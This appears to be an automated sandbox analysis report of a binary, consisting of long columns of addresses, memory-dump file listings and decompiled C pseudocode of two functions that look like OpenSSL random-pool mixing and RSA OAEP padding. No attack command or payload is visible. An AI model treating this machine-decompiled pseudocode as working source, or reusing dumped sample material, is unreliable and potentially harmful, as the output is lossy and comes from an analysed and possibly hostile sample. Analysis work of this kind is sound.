                                                                0x00ac882a
                                                                0x00ac882c
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac882c
                                                                0x00000000
                                                                0x00ac8802
                                                                0x00ac878e
                                                                0x00ac878e
                                                                0x00ac8790
                                                                0x00ac882e
                                                                0x00ac882e
                                                                0x00ac8833
                                                                0x00ac8857
                                                                0x00ac8857
                                                                0x00ac885c
                                                                0x00ac8893
                                                                0x00ac8893
                                                                0x00ac8895
                                                                0x00ac88a1
                                                                0x00ac88a1
                                                                0x00ac88a5
                                                                0x00ac88a9
                                                                0x00ac88b0
                                                                0x00ac88b5
                                                                0x00ac88b8
                                                                0x00ac88ba
                                                                0x00000000
                                                                0x00ac88c0
                                                                0x00ac88c0
                                                                0x00ac88c5
                                                                0x00000000
                                                                0x00ac88c7
                                                                0x00ac88d0
                                                                0x00ac88dc
                                                                0x00ac88e0
                                                                0x00ac88e5
                                                                0x00ac88e8
                                                                0x00ac88ea
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac88f0
                                                                0x00ac88f5
                                                                0x00000000
                                                                0x00ac88f7
                                                                0x00000000
                                                                0x00ac88f7
                                                                0x00000000
                                                                0x00ac88f5
                                                                0x00000000
                                                                0x00ac88d0
                                                                0x00ac88c5
                                                                0x00ac8897
                                                                0x00ac8897
                                                                0x00ac889f
                                                                0x00ac88f9
                                                                0x00ac88fd
                                                                0x00ac8901
                                                                0x00ac8905
                                                                0x00ac8905
                                                                0x00ac890a
                                                                0x00ac8938
                                                                0x00ac8938
                                                                0x00ac893d
                                                                0x00ac89d7
                                                                0x00ac89d7
                                                                0x00ac89dc
                                                                0x00ac8a0a
                                                                0x00ac8a0e
                                                                0x00ac8a0f
                                                                0x00ac8a11
                                                                0x00ac8a12
                                                                0x00ac8a21
                                                                0x00ac89de
                                                                0x00ac89de
                                                                0x00ac89e2
                                                                0x00ac89e6
                                                                0x00ac89f0
                                                                0x00ac89f3
                                                                0x00ac89f8
                                                                0x00ac89fb
                                                                0x00ac89fd
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8a03
                                                                0x00ac8a03
                                                                0x00ac8a03
                                                                0x00ac8a08
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8a08
                                                                0x00000000
                                                                0x00ac89f0
                                                                0x00ac8943
                                                                0x00ac8950
                                                                0x00ac8955
                                                                0x00ac895a
                                                                0x00ac895d
                                                                0x00ac895f
                                                                0x00000000
                                                                0x00ac8965
                                                                0x00ac8965
                                                                0x00ac896a
                                                                0x00ac8991
                                                                0x00ac8996
                                                                0x00ac8999
                                                                0x00ac899b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac896c
                                                                0x00ac896f
                                                                0x00ac8974
                                                                0x00ac8977
                                                                0x00ac8979
                                                                0x00ac89a1
                                                                0x00ac89a1
                                                                0x00ac89a6
                                                                0x00000000
                                                                0x00ac89a8
                                                                0x00ac89b0
                                                                0x00ac89b5
                                                                0x00ac89c0
                                                                0x00ac89c5
                                                                0x00ac89c8
                                                                0x00ac89ca
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac89d0
                                                                0x00ac89d5
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac89d5
                                                                0x00000000
                                                                0x00ac89b0
                                                                0x00ac897b
                                                                0x00ac897b
                                                                0x00ac897c
                                                                0x00ac897e
                                                                0x00ac8983
                                                                0x00ac898d
                                                                0x00ac898d
                                                                0x00ac8979
                                                                0x00ac896a
                                                                0x00ac895f
                                                                0x00ac890c
                                                                0x00ac890c
                                                                0x00ac8910
                                                                0x00ac8914
                                                                0x00ac8918
                                                                0x00ac891b
                                                                0x00ac8920
                                                                0x00ac8923
                                                                0x00ac8925
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac892f
                                                                0x00ac8930
                                                                0x00ac8934
                                                                0x00ac8936
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8936
                                                                0x00000000
                                                                0x00ac8918
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac889f
                                                                0x00ac8860
                                                                0x00ac8860
                                                                0x00ac8860
                                                                0x00ac8864
                                                                0x00ac8872
                                                                0x00ac887c
                                                                0x00ac8881
                                                                0x00ac8884
                                                                0x00ac8886
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac888c
                                                                0x00ac8891
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8891
                                                                0x00000000
                                                                0x00ac8860
                                                                0x00ac8835
                                                                0x00ac8847
                                                                0x00ac884c
                                                                0x00ac884f
                                                                0x00ac8851
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8851
                                                                0x00ac8796
                                                                0x00ac8796
                                                                0x00ac8798
                                                                0x00ac87cc
                                                                0x00ac87cc
                                                                0x00ac87ce
                                                                0x00000000
                                                                0x00ac87d0
                                                                0x00ac87d0
                                                                0x00ac87df
                                                                0x00ac87e4
                                                                0x00ac87e7
                                                                0x00ac87e9
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac87f3
                                                                0x00ac87f4
                                                                0x00ac87f8
                                                                0x00ac87fa
                                                                0x00000000
                                                                0x00ac87fc
                                                                0x00000000
                                                                0x00ac87fc
                                                                0x00000000
                                                                0x00ac87fa
                                                                0x00000000
                                                                0x00ac87d0
                                                                0x00ac879a
                                                                0x00ac879a
                                                                0x00ac87ac
                                                                0x00ac87b1
                                                                0x00ac87b4
                                                                0x00ac87b6
                                                                0x00000000
                                                                0x00ac87bc
                                                                0x00ac87bc
                                                                0x00ac87bc
                                                                0x00ac87bc
                                                                0x00ac87c0
                                                                0x00ac87c4
                                                                0x00000000
                                                                0x00ac87c4
                                                                0x00ac87b6
                                                                0x00ac8798
                                                                0x00ac8790
                                                                0x00ac878c
                                                                0x00ac86aa
                                                                0x00ac84c8
                                                                0x00ac84c8
                                                                0x00ac84ca
                                                                0x00ac84ca
                                                                0x00ac84cc
                                                                0x00ac84ce
                                                                0x00ac84d0
                                                                0x00ac84d0
                                                                0x00ac84d1
                                                                0x00ac84d5
                                                                0x00ac84e4
                                                                0x00ac84e4
                                                                0x00ac84c6
                                                                0x00ac84bb
                                                                0x00ac84b0
                                                                0x00000000

                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID: $0$gfff
                                                                • API String ID: 0-3930087101
                                                                • Opcode ID: 123727592cc2cbba2f8d83fb75ab5b66760c87866d250ee5067b09c93a7c32a6
                                                                • Instruction ID: 6efe7cc580f87fb8ef36f3827fc21f8f1e8aa49ae55c0da4a0714cead2189761
                                                                • Opcode Fuzzy Hash: 123727592cc2cbba2f8d83fb75ab5b66760c87866d250ee5067b09c93a7c32a6
                                                                • Instruction Fuzzy Hash: 7412E472A083069BD7159F28CA00B6BB7E4FB84795F26091DE895A7251FB39DC048F92
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 83%
                                                                			E00AC9C50(intOrPtr __ebx, signed int __edx, void* __ebp, intOrPtr _a4, signed int _a8, intOrPtr _a12, signed int _a16, char _a20, intOrPtr _a24, char _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, signed int _a48, intOrPtr _a56, signed int _a60, long long _a64) {
                                                                				signed int _v0;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t84;
                                                                				signed int _t91;
                                                                				signed int _t92;
                                                                				intOrPtr _t94;
                                                                				intOrPtr _t95;
                                                                				intOrPtr _t96;
                                                                				signed int _t97;
                                                                				signed int _t102;
                                                                				signed char _t103;
                                                                				signed int _t107;
                                                                				signed int _t108;
                                                                				signed int _t110;
                                                                				void* _t111;
                                                                				intOrPtr _t113;
                                                                				long _t123;
                                                                				intOrPtr _t126;
                                                                				signed int _t131;
                                                                				signed int _t132;
                                                                				signed int _t135;
                                                                				signed int _t136;
                                                                				signed int _t137;
                                                                				intOrPtr _t152;
                                                                				char _t156;
                                                                				char _t157;
                                                                				intOrPtr _t158;
                                                                				intOrPtr _t159;
                                                                				signed int _t164;
                                                                				intOrPtr _t166;
                                                                				signed int _t167;
                                                                				signed int _t171;
                                                                				signed int _t173;
                                                                				long long _t180;
                                                                
                                                                				_t155 = __edx;
                                                                				_t130 = __ebx;
                                                                				E00B8BB10(0x34);
                                                                				_t84 =  *0xbe5970; // 0xe6e1d076
                                                                				_a48 = _t84 ^ _t173;
                                                                				_t167 = _a60;
                                                                				_t168 = 0;
                                                                				_a4 = _a56;
                                                                				_a16 = 0;
                                                                				if(_t167 != 0) {
                                                                					_push(__ebp);
                                                                					_t171 = E00ADB820();
                                                                					__eflags = _t171;
                                                                					if(_t171 != 0) {
                                                                						_t91 = E00AC4700(0xbe8f68, E00AC9C10);
                                                                						_t173 = _t173 + 8;
                                                                						_t92 =  ~_t91;
                                                                						asm("sbb eax, eax");
                                                                						__eflags =  *0xbe8f70 & _t92;
                                                                						if(( *0xbe8f70 & _t92) != 0) {
                                                                							_push(__ebx);
                                                                							__eflags =  *0xbe8f6c - _t168; // 0x0
                                                                							if(__eflags == 0) {
                                                                								_a8 = 0;
                                                                								_t131 = 0;
                                                                								goto L6;
                                                                							} else {
                                                                								_t123 = GetCurrentThreadId();
                                                                								_t152 =  *0xbe8f64; // 0x975910
                                                                								E00AC4690(_t152);
                                                                								_t166 =  *0xbe8b18; // 0xd8c
                                                                								_t131 = E00AC47D0(_t166, _t123);
                                                                								_t126 =  *0xbe8f64; // 0x975910
                                                                								_a8 = _t131;
                                                                								E00AC46B0(_t126);
                                                                								_t173 = _t173 + 0x10;
                                                                								__eflags = _t131;
                                                                								if(_t131 == 0) {
                                                                									L6:
                                                                									_t135 =  *0xbe8f60; // 0x971188
                                                                									E00AC4690(_t135);
                                                                									_t173 = _t173 + 4;
                                                                								}
                                                                							}
                                                                							_t156 =  *0xbe8f4c; // 0x61bb
                                                                							_t94 =  *0xbe8f50; // 0x3c
                                                                							_t136 =  *0xbe8f48; // 0x3af
                                                                							_a20 = _t156;
                                                                							_t157 =  *0xbe8b1c; // 0x1018294a
                                                                							_a24 = _t94;
                                                                							_t95 =  *0xbe8b20; // 0xe0ee1982
                                                                							_a28 = _t157;
                                                                							_t158 =  *0xbe8b24; // 0x3c7617cb
                                                                							_t168 = _t136;
                                                                							_t137 = _t136 + _t167;
                                                                							_a32 = _t95;
                                                                							_t96 =  *0xbe8b28; // 0xa9f589a2
                                                                							_a36 = _t158;
                                                                							_t159 =  *0xbe8b2c; // 0xac14e5ba
                                                                							_a40 = _t96;
                                                                							_a44 = _t159;
                                                                							 *0xbe8f48 = _t137;
                                                                							__eflags = _t137 - 0x3ff;
                                                                							if(_t137 < 0x3ff) {
                                                                								_t97 =  *0xbe8f44; // 0x3ff
                                                                								__eflags = _t97 - 0x3ff;
                                                                								if(_t97 < 0x3ff) {
                                                                									__eflags = _t137 - _t97;
                                                                									if(_t137 > _t97) {
                                                                										 *0xbe8f44 = _t137;
                                                                									}
                                                                								}
                                                                							} else {
                                                                								 *0xbe8f48 = _t137 + ((_t137 - (0x401005 * _t137 >> 0x20) >> 1) + (0x401005 * _t137 >> 0x20) >> 9) * 0xfffffc01;
                                                                								 *0xbe8f44 = 0x3ff;
                                                                							}
                                                                							_t102 = (0x66666667 * _t167 >> 0x20 >> 3 >> 0x1f) + (0x66666667 * _t167 >> 0x20 >> 3);
                                                                							_t138 = _t102 + _t102 * 4;
                                                                							_t139 = _t102 + _t102 * 4 + _t138;
                                                                							_t155 = _t167 - _t102 + _t102 * 4 + _t138 + _t139;
                                                                							__eflags = _t167 - _t102 + _t102 * 4 + _t138 + _t139;
                                                                							 *0xbe8f50 =  *0xbe8f50 + (0 | _t167 - _t102 + _t102 * 0x00000004 + _t138 + _t139 > 0x00000000) + _t102;
                                                                							__eflags = _t131;
                                                                							if(_t131 == 0) {
                                                                								_t155 =  *0xbe8f60; // 0x971188
                                                                								E00AC46B0(_t155);
                                                                								_t173 = _t173 + 4;
                                                                							}
                                                                							_a12 = 0;
                                                                							__eflags = _t167;
                                                                							if(_t167 <= 0) {
                                                                								L36:
                                                                								__eflags = _t131;
                                                                								if(_t131 == 0) {
                                                                									_t164 =  *0xbe8f60; // 0x971188
                                                                									E00AC4690(_t164);
                                                                									_t173 = _t173 + 4;
                                                                								}
                                                                								_t103 = 0;
                                                                								__eflags = 0;
                                                                								do {
                                                                									 *(_t103 + 0xbe8b1c) =  *(_t103 + 0xbe8b1c) ^  *(_t173 + _t103 + 0x2c) & 0x000000ff;
                                                                									 *(_t103 + 0xbe8b1d) =  *(_t103 + 0xbe8b1d) ^  *(_t173 + _t103 + 0x2d) & 0x000000ff;
                                                                									 *(_t103 + 0xbe8b1e) =  *(_t103 + 0xbe8b1e) ^  *(_t173 + _t103 + 0x2e) & 0x000000ff;
                                                                									_t155 =  *(_t173 + _t103 + 0x2f) & 0x000000ff;
                                                                									 *(_t103 + 0xbe8b1f) =  *(_t103 + 0xbe8b1f) ^  *(_t173 + _t103 + 0x2f) & 0x000000ff;
                                                                									 *(_t103 + 0xbe8b20) =  *(_t103 + 0xbe8b20) ^  *(_t173 + _t103 + 0x30) & 0x000000ff;
                                                                									_t103 = _t103 + 5;
                                                                									__eflags = _t103 - 0x14;
                                                                								} while (_t103 < 0x14);
                                                                								_t180 =  *0xbe8f58;
                                                                								asm("fcom st0, st1");
                                                                								asm("fnstsw ax");
                                                                								st1 = _t180;
                                                                								__eflags = _t103 & 0x00000005;
                                                                								if((_t103 & 0x00000005) != 0) {
                                                                									st0 = _t180;
                                                                								} else {
                                                                									 *0xbe8f58 = _t180 + _a64;
                                                                								}
                                                                								__eflags = _t131;
                                                                								if(_t131 == 0) {
                                                                									_t155 =  *0xbe8f60; // 0x971188
                                                                									E00AC46B0(_t155);
                                                                									_t173 = _t173 + 4;
                                                                								}
                                                                								_a16 = 1;
                                                                							} else {
                                                                								_v0 = _t167;
                                                                								while(1) {
                                                                									__eflags = _t167 - 0x14;
                                                                									if(__eflags > 0) {
                                                                										_t167 = 0x14;
                                                                									}
                                                                									_t107 = E00ADB860(_t171, __eflags, _t171, E00ADBEA0(), 0);
                                                                									_t173 = _t173 + 0xc;
                                                                									__eflags = _t107;
                                                                									if(_t107 == 0) {
                                                                										goto L46;
                                                                									}
                                                                									_push(0x14);
                                                                									_t108 =  &_a28;
                                                                									_push(_t108);
                                                                									E00ADBA10(_t171);
                                                                									_t173 = _t173 + 0xc;
                                                                									__eflags = _t108;
                                                                									if(_t108 != 0) {
                                                                										_t132 = _t167 + _t168 - 0x3ff;
                                                                										__eflags = _t132;
                                                                										if(_t132 <= 0) {
                                                                											_push(_t167);
                                                                											_t38 = _t168 + 0xbe8b30; // 0xbe8edf
                                                                											_t108 = _t38;
                                                                											_push(_t108);
                                                                											goto L26;
                                                                										} else {
                                                                											_push(_t167 - _t132);
                                                                											_t37 = _t168 + 0xbe8b30; // 0xbe8edf
                                                                											_t155 = _t37;
                                                                											_push(_t37);
                                                                											E00ADBA10(_t171);
                                                                											_t173 = _t173 + 0xc;
                                                                											__eflags = _t108;
                                                                											if(_t108 != 0) {
                                                                												_push(_t132);
                                                                												_push(0xbe8b30);
                                                                												L26:
                                                                												E00ADBA10(_t171);
                                                                												_t173 = _t173 + 0xc;
                                                                												__eflags = _t108;
                                                                												if(_t108 != 0) {
                                                                													_push(_t167);
                                                                													_push(_a4);
                                                                													E00ADBA10(_t171);
                                                                													_t173 = _t173 + 0xc;
                                                                													__eflags = _t108;
                                                                													if(_t108 != 0) {
                                                                														_push(8);
                                                                														_t155 =  &_a20;
                                                                														_push( &_a20);
                                                                														E00ADBA10(_t171);
                                                                														_t173 = _t173 + 0xc;
                                                                														__eflags = _t108;
                                                                														if(_t108 != 0) {
                                                                															_t110 = E00ADBA20(_t132, _t171, _t171,  &_a28, 0);
                                                                															_t173 = _t173 + 0xc;
                                                                															__eflags = _t110;
                                                                															if(_t110 != 0) {
                                                                																_a24 = _a24 + 1;
                                                                																_a4 = _a4 + _t167;
                                                                																_t111 = 0;
                                                                																__eflags = _t167;
                                                                																if(_t167 > 0) {
                                                                																	do {
                                                                																		 *(_t168 + 0xbe8b30) =  *(_t168 + 0xbe8b30) ^  *(_t173 + _t111 + 0x2c);
                                                                																		_t168 = _t168 + 1;
                                                                																		__eflags = _t168 - 0x3ff;
                                                                																		if(_t168 >= 0x3ff) {
                                                                																			_t168 = 0;
                                                                																			__eflags = 0;
                                                                																		}
                                                                																		_t111 = _t111 + 1;
                                                                																		__eflags = _t111 - _t167;
                                                                																	} while (_t111 < _t167);
                                                                																}
                                                                																_v0 = _v0 - 0x14;
                                                                																_t113 = _a12 + 0x14;
                                                                																__eflags = _t113 - _a60;
                                                                																_a12 = _t113;
                                                                																if(_t113 < _a60) {
                                                                																	_t167 = _v0;
                                                                																	continue;
                                                                																} else {
                                                                																	_t131 = _a8;
                                                                																	goto L36;
                                                                																}
                                                                															}
                                                                														}
                                                                													}
                                                                												}
                                                                											}
                                                                										}
                                                                									}
                                                                									goto L46;
                                                                								}
                                                                							}
                                                                							L46:
                                                                							_pop(_t130);
                                                                						}
                                                                					}
                                                                					E00ADB840(_t130, _t167, _t171, _t171);
                                                                					__eflags = _a48 ^ _t173 + 0x00000004;
                                                                					return E00B89C26(_a16, _t130, _a48 ^ _t173 + 0x00000004, _t155, _t167, _t168);
                                                                				} else {
                                                                					_t6 = _t168 + 1; // 0x1
                                                                					return E00B89C26(_t6, __ebx, _a48 ^ _t173, __edx, _t167, 0);
                                                                				}
                                                                			}






































                                                                0x00ac9c50
                                                                0x00ac9c50
                                                                0x00ac9c55
                                                                0x00ac9c5a
                                                                0x00ac9c61
                                                                0x00ac9c6b
                                                                0x00ac9c6f
                                                                0x00ac9c71
                                                                0x00ac9c75
                                                                0x00ac9c7b
                                                                0x00ac9c91
                                                                0x00ac9c97
                                                                0x00ac9c99
                                                                0x00ac9c9b
                                                                0x00ac9cab
                                                                0x00ac9cb0
                                                                0x00ac9cb3
                                                                0x00ac9cb5
                                                                0x00ac9cb7
                                                                0x00ac9cbd
                                                                0x00ac9cc3
                                                                0x00ac9cc4
                                                                0x00ac9cca
                                                                0x00ac9d9e
                                                                0x00ac9da2
                                                                0x00000000
                                                                0x00ac9cd0
                                                                0x00ac9cd0
                                                                0x00ac9cd5
                                                                0x00ac9cde
                                                                0x00ac9ce3
                                                                0x00ac9cf0
                                                                0x00ac9cf2
                                                                0x00ac9cf8
                                                                0x00ac9cfc
                                                                0x00ac9d01
                                                                0x00ac9d04
                                                                0x00ac9d06
                                                                0x00ac9d08
                                                                0x00ac9d08
                                                                0x00ac9d0f
                                                                0x00ac9d14
                                                                0x00ac9d14
                                                                0x00ac9d06
                                                                0x00ac9d17
                                                                0x00ac9d1d
                                                                0x00ac9d22
                                                                0x00ac9d28
                                                                0x00ac9d2c
                                                                0x00ac9d32
                                                                0x00ac9d36
                                                                0x00ac9d3b
                                                                0x00ac9d3f
                                                                0x00ac9d45
                                                                0x00ac9d47
                                                                0x00ac9d49
                                                                0x00ac9d4d
                                                                0x00ac9d52
                                                                0x00ac9d56
                                                                0x00ac9d5c
                                                                0x00ac9d60
                                                                0x00ac9d64
                                                                0x00ac9d6a
                                                                0x00ac9d70
                                                                0x00ac9da9
                                                                0x00ac9dae
                                                                0x00ac9db3
                                                                0x00ac9db5
                                                                0x00ac9db7
                                                                0x00ac9db9
                                                                0x00ac9db9
                                                                0x00ac9db7
                                                                0x00ac9d72
                                                                0x00ac9d8c
                                                                0x00ac9d92
                                                                0x00ac9d92
                                                                0x00ac9dce
                                                                0x00ac9dd0
                                                                0x00ac9dd3
                                                                0x00ac9dd9
                                                                0x00ac9ddd
                                                                0x00ac9de4
                                                                0x00ac9dea
                                                                0x00ac9dec
                                                                0x00ac9dee
                                                                0x00ac9df5
                                                                0x00ac9dfa
                                                                0x00ac9dfa
                                                                0x00ac9dfd
                                                                0x00ac9e05
                                                                0x00ac9e07
                                                                0x00ac9f28
                                                                0x00ac9f28
                                                                0x00ac9f2a
                                                                0x00ac9f2c
                                                                0x00ac9f33
                                                                0x00ac9f38
                                                                0x00ac9f38
                                                                0x00ac9f3b
                                                                0x00ac9f3b
                                                                0x00ac9f40
                                                                0x00ac9f45
                                                                0x00ac9f55
                                                                0x00ac9f5b
                                                                0x00ac9f61
                                                                0x00ac9f6b
                                                                0x00ac9f71
                                                                0x00ac9f77
                                                                0x00ac9f7a
                                                                0x00ac9f7a
                                                                0x00ac9f85
                                                                0x00ac9f8b
                                                                0x00ac9f8d
                                                                0x00ac9f8f
                                                                0x00ac9f91
                                                                0x00ac9f94
                                                                0x00ac9fa2
                                                                0x00ac9f96
                                                                0x00ac9f9a
                                                                0x00ac9f9a
                                                                0x00ac9fa4
                                                                0x00ac9fa6
                                                                0x00ac9fa8
                                                                0x00ac9faf
                                                                0x00ac9fb4
                                                                0x00ac9fb4
                                                                0x00ac9fb7
                                                                0x00ac9e0d
                                                                0x00ac9e0d
                                                                0x00ac9e17
                                                                0x00ac9e17
                                                                0x00ac9e1a
                                                                0x00ac9e1c
                                                                0x00ac9e1c
                                                                0x00ac9e2a
                                                                0x00ac9e2f
                                                                0x00ac9e32
                                                                0x00ac9e34
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac9e3a
                                                                0x00ac9e3c
                                                                0x00ac9e40
                                                                0x00ac9e42
                                                                0x00ac9e47
                                                                0x00ac9e4a
                                                                0x00ac9e4c
                                                                0x00ac9e52
                                                                0x00ac9e59
                                                                0x00ac9e5b
                                                                0x00ac9e82
                                                                0x00ac9e83
                                                                0x00ac9e83
                                                                0x00ac9e89
                                                                0x00000000
                                                                0x00ac9e5d
                                                                0x00ac9e61
                                                                0x00ac9e62
                                                                0x00ac9e62
                                                                0x00ac9e68
                                                                0x00ac9e6a
                                                                0x00ac9e6f
                                                                0x00ac9e72
                                                                0x00ac9e74
                                                                0x00ac9e7a
                                                                0x00ac9e7b
                                                                0x00ac9e8a
                                                                0x00ac9e8b
                                                                0x00ac9e90
                                                                0x00ac9e93
                                                                0x00ac9e95
                                                                0x00ac9e9f
                                                                0x00ac9ea0
                                                                0x00ac9ea2
                                                                0x00ac9ea7
                                                                0x00ac9eaa
                                                                0x00ac9eac
                                                                0x00ac9eb2
                                                                0x00ac9eb4
                                                                0x00ac9eb8
                                                                0x00ac9eba
                                                                0x00ac9ebf
                                                                0x00ac9ec2
                                                                0x00ac9ec4
                                                                0x00ac9ed2
                                                                0x00ac9ed7
                                                                0x00ac9eda
                                                                0x00ac9edc
                                                                0x00ac9ee2
                                                                0x00ac9ee6
                                                                0x00ac9eea
                                                                0x00ac9eec
                                                                0x00ac9eee
                                                                0x00ac9ef0
                                                                0x00ac9ef4
                                                                0x00ac9efa
                                                                0x00ac9efb
                                                                0x00ac9f01
                                                                0x00ac9f03
                                                                0x00ac9f03
                                                                0x00ac9f03
                                                                0x00ac9f05
                                                                0x00ac9f06
                                                                0x00ac9f06
                                                                0x00ac9ef0
                                                                0x00ac9f0e
                                                                0x00ac9f13
                                                                0x00ac9f16
                                                                0x00ac9f1a
                                                                0x00ac9f1e
                                                                0x00ac9e13
                                                                0x00000000
                                                                0x00ac9f24
                                                                0x00ac9f24
                                                                0x00000000
                                                                0x00ac9f24
                                                                0x00ac9f1e
                                                                0x00ac9edc
                                                                0x00ac9ec4
                                                                0x00ac9eac
                                                                0x00ac9e95
                                                                0x00ac9e74
                                                                0x00ac9e5b
                                                                0x00000000
                                                                0x00ac9e4c
                                                                0x00ac9e17
                                                                0x00ac9fbf
                                                                0x00ac9fbf
                                                                0x00ac9fbf
                                                                0x00ac9cbd
                                                                0x00ac9fc1
                                                                0x00ac9fd4
                                                                0x00ac9fde
                                                                0x00ac9c7e
                                                                0x00ac9c7e
                                                                0x00ac9c90
                                                                0x00ac9c90

                                                                APIs
                                                                • GetCurrentThreadId.KERNEL32 ref: 00AC9CD0
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID: gfff
                                                                • API String ID: 2882836952-1553575800
                                                                • Opcode ID: ab494c18214248f7feafa706b3d000a9b85040441335dde02618a5f188cb741a
                                                                • Instruction ID: 28d0d029f3d60f8022ebf51913f068057c45d797cdac1cc87402dbe6fed1e00d
                                                                • Opcode Fuzzy Hash: ab494c18214248f7feafa706b3d000a9b85040441335dde02618a5f188cb741a
                                                                • Instruction Fuzzy Hash: 1891A6B16047818BD344DF28E995F2B77E9AB98300F06492DF84ADB256EF31D905CBD2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 24%
                                                                			E00AD9070(void* __ebp, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a40, char _a44, char _a108, signed int _a172, signed int _a180, intOrPtr _a184, intOrPtr _a188, intOrPtr _a192, signed int _a196, signed int _a200, signed int _a204, signed int _a208, signed int _a212) {
                                                                				signed int _v0;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t79;
                                                                				signed int _t82;
                                                                				signed int _t83;
                                                                				signed int _t90;
                                                                				signed int _t91;
                                                                				void* _t98;
                                                                				void* _t100;
                                                                				void* _t103;
                                                                				signed int _t104;
                                                                				signed int _t118;
                                                                				signed int* _t125;
                                                                				signed int _t128;
                                                                				signed int _t145;
                                                                				signed int _t148;
                                                                				void* _t150;
                                                                				signed int _t159;
                                                                				signed int _t161;
                                                                				intOrPtr _t165;
                                                                				signed int _t168;
                                                                				signed int _t169;
                                                                				signed int _t170;
                                                                				signed int _t176;
                                                                				signed int _t177;
                                                                				void* _t179;
                                                                
                                                                				E00B8BB10(0xb0);
                                                                				_t79 =  *0xbe5970; // 0xe6e1d076
                                                                				_a172 = _t79 ^ _t176;
                                                                				_t151 = _a200;
                                                                				_t128 = _a196;
                                                                				_t165 = _a192;
                                                                				_t161 = _a212;
                                                                				_t159 = 0;
                                                                				_a36 = _a180;
                                                                				_t82 = _a208;
                                                                				_a16 = _a188;
                                                                				_a32 = _a200;
                                                                				_a4 = _t82;
                                                                				_a20 = _t161;
                                                                				_a12 = 0xffffffff;
                                                                				_a8 = 0;
                                                                				_v0 = 0;
                                                                				_a24 = 0;
                                                                				if(_t82 == 0) {
                                                                					_t82 = E00ADBEA0();
                                                                					_a4 = _t82;
                                                                				}
                                                                				if(_t161 == _t159) {
                                                                					_a20 = _t82;
                                                                				}
                                                                				_t83 = E00AB7480(_t82);
                                                                				_t177 = _t176 + 4;
                                                                				_a28 = _t83;
                                                                				if(_a184 <= _t159 || _t165 <= _t159) {
                                                                					_t84 = _t83 | 0xffffffff;
                                                                				} else {
                                                                					if(_t128 < _t165) {
                                                                						L25:
                                                                						_push(0xec);
                                                                						_push("crypto\\rsa\\rsa_oaep.c");
                                                                						_push(0x79);
                                                                						goto L26;
                                                                					} else {
                                                                						_t23 = _t83 + 2; // 0x2
                                                                						if(_t128 < _t83 + _t23) {
                                                                							goto L25;
                                                                						} else {
                                                                							_push(0x99);
                                                                							_t161 = _t128 - _t83 - 1;
                                                                							_push("crypto\\rsa\\rsa_oaep.c");
                                                                							_t90 = E00AC33F0(_t161);
                                                                							_push(0x9a);
                                                                							_push("crypto\\rsa\\rsa_oaep.c");
                                                                							_v0 = _t90;
                                                                							_t91 = E00AC33F0(_t128);
                                                                							_t177 = _t177 + 0x18;
                                                                							_t159 = _t91;
                                                                							_a24 = _t159;
